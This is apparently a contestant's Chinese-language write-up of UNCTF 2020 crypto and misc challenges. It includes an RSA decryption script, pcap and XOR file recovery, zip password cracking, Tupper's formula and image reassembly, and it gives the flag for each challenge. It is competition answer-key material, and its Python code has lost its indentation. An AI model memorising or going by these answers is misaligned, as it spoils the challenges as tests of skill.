a = 320398687477638913975700270017132483556404036982302018853617987417039612400517057680951629863477438570118640104253432645524830693378758322853028869260935243017328300431595830632269573784699659244044435107219440036761727692796855905230231825712343296737928172132556195116760954509270255049816362648350162111168
b = 9554090001619033187321857749048244231377711861081522054479773151962371959336936136696051589639469653074758469644089407114039221055688732553830385923962675507737607608026140516898146670548916033772462331195442816239006651495200436855982426532874304542570230333184081122225359441162386921519665128773491795370
p = (a+b)/2
q = (a-b)/2
n = p * q
e = 65537
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
c = 22886015855857570934458119207589468036427819233100165358753348672429768179802313173980683835839060302192974676103009829680448391991795003347995943925826913190907148491842575401236879172753322166199945839038316446615621136778270903537132526524507377773094660056144412196579940619996180527179824934152320202452981537526759225006396924528945160807152512753988038894126566572241510883486584129614281936540861801302684550521904620303946721322791533756703992307396221043157633995229923356308284045440648542300161500649145193884889980827640680145641832152753769606803521928095124230843021310132841509181297101645567863161780
m = pow(c,d,n)
print(libnum.n2s(m))
#UNCTF{welcome_to_rsa}
MISC
baba_is_you:
png后面有個bilibili網址,點進去第一條評論就是flag
爺的歷險記:
之前WMCTF有過類似的RPG,直接上手RPG Maker MV,重建游戲,把所有文件復制到新建工程中。
觀察了一下,有hint1,hint2,hint3,flag1,flag2,flag3。一股腦在room中將那條狗賦予商品處理事件,里面直接售賣hint1,hint2,hint3,flag1,flag2,flag3,且金錢調為0。
進入游戲,購買商品。發現flag3和hint3都是寫着UNCTF{WelC0me_ 70_ UNCTF2oZ0~}。
但是,這個出題人可能腦抽了,直接明文搜UNCTF就可以搜到flag。。。。
YLB's CAPTCHA - 簽到題:
沒什么好說的,就是硬看。
躲貓貓:
直接打開報錯,右鍵壓縮包打開,窮舉。
發現sharedStrings.xml中有個dW5jdGYlN0I3MzgzYjY3ZGU5MTA2YTZmMTBmZGJlNGU4ZWJjNjRjZSU3RA==
解碼base64得unctf%7B7383b67de9106a6f10fdbe4e8ebc64ce%7D,再url解碼得unctf{7383b67de9106a6f10fdbe4e8ebc64ce}
YLB絕密文件:
直接用 foremost分離,得到一堆htm文件和zip,zip損壞打不開,逐個分析網頁可得,用戶一共上傳成功了YLBSB.zip,secret.cpython-38.pyc,xor.py這三個文件。
用wireshark打開,定位到xor.py,復制tcp流,整理一下可得加密腳本
#coding:utf-8
import base64
from secret import key
file =open("YLBSB.docx", "rb")
enc =open("YLBSB.xor", "wb")
plain = base64.b64encode(file.read())
count = 0
for c in plain:
d = chr(c ^ ord(key[count % len(key)]))
enc.write(d.encode())
count =count + 1
再定位到YLBSB.zip,導出 tcp流,保存為zip,打開解壓的YLBSB.xor。
在導出pyc的過程中出了點問題,之后看到
Content-Disposition: form-data; name="uploadfile"; filename="secret.cpython-38.pyc"
Content-Type: application/x-python-code
U
....k.._#........................@...s....d.Z.d.S.).z.YLBSB?YLBNB!N)...key..r....r.....9C:\Users\yolo-\Downloads\HQU\CTF\UNCTF2020\Misc\secret.py..<module>.........
猜測key為YLBSB?YLBNB!,寫解密腳本
import base64, binascii
enc =open("YLBSB.xor", "rb")
file =open("YLBSB.docx", "wb")
key = "YLBSB?YLBNB!"
plain = enc.read().decode()
count = 0
d =''
for c in plain:
a = chr(ord(c) ^ ord(key[count % len(key)]))
d = d + a
count =count + 1
file.write(base64.b64decode(d))
得到YLBSB.docx,打開發現最后沒有文字,卻有英文檢查出現錯誤時標志的下滑波浪線,選定,調為黑色得flag:UNCTF{Best_YLB_Ever}
陰陽人編碼:
把就這和不會吧換成Ook,把¿換成?,找個網址解密Ook密碼得flag:flag{9_zhe_Jiu_zhe_8_hui_8}
網絡深處1:
給了三個文件,zip是加密的,打開提示可得密碼是純數字,將撥號音拖入Audacity,觀察頻譜圖,可知密碼為11位數,上ARCHPR破解得密碼15975384265,解密得到一個wav和一個txt,繼續將電話錄音拖入Audacity,觀察頻譜圖,得到tupper關鍵字。
百度后可知是Tupper自我指涉公式,扒個官網的畫圖代碼,
def Tupper_self_referential_formula():
k = 636806841748368750477720528895492611039728818913495104112781919263174040060359776171712496606031373211949881779178924464798852002228370294736546700438210687486178492208471812570216381077341015321904079977773352308159585335376746026882907466893864815887274158732965185737372992697108862362061582646638841733361046086053127284900532658885220569350253383469047741742686730128763680253048883638446528421760929131783980278391556912893405214464624884824555647881352300550360161429758833657243131238478311219915449171358359616665570429230738621272988581871
def f(x,y):
d = ((-17 * x) - (y % 17))
e = reduce(lambda x,y: x*y, [2 for x in range(-d)]) if d else 1
f = ((y / 17) / e)
g = f % 2
return 0.5 < g
for y in range(k+16, k-1, -1):
line = ""
for x in range(0, 107):
if f(x,y):
line += "@"
else:
line += " "
print line
if __name__ == '__main__':
returned = Tupper_self_referential_formula()
if returned:
print str(returned)
k即為txt里給的那一大串數字。運行得

flag:flag{Y29PBA==}不用去解密成coil。。。。。
被刪除的flag:
和我之前國賽做的電腦被黑沒有什么區別,按照套路走一遍就拿到flag:unctf{congratulations!}
EZ_IMAGE:
得到225張圖,用ImageMagick中的montage命令合成一張大圖
montage *.jpg -tile 15x15 -geometry 60x60+0+0 out.jpg

得到一張大圖之后,用gaps來進行還原:
gaps --image=out.jpg --generations=40 --population=225 --size=60 --save

得到flag:UNCTF{EZ_MISC_AND_HACK_FUN}
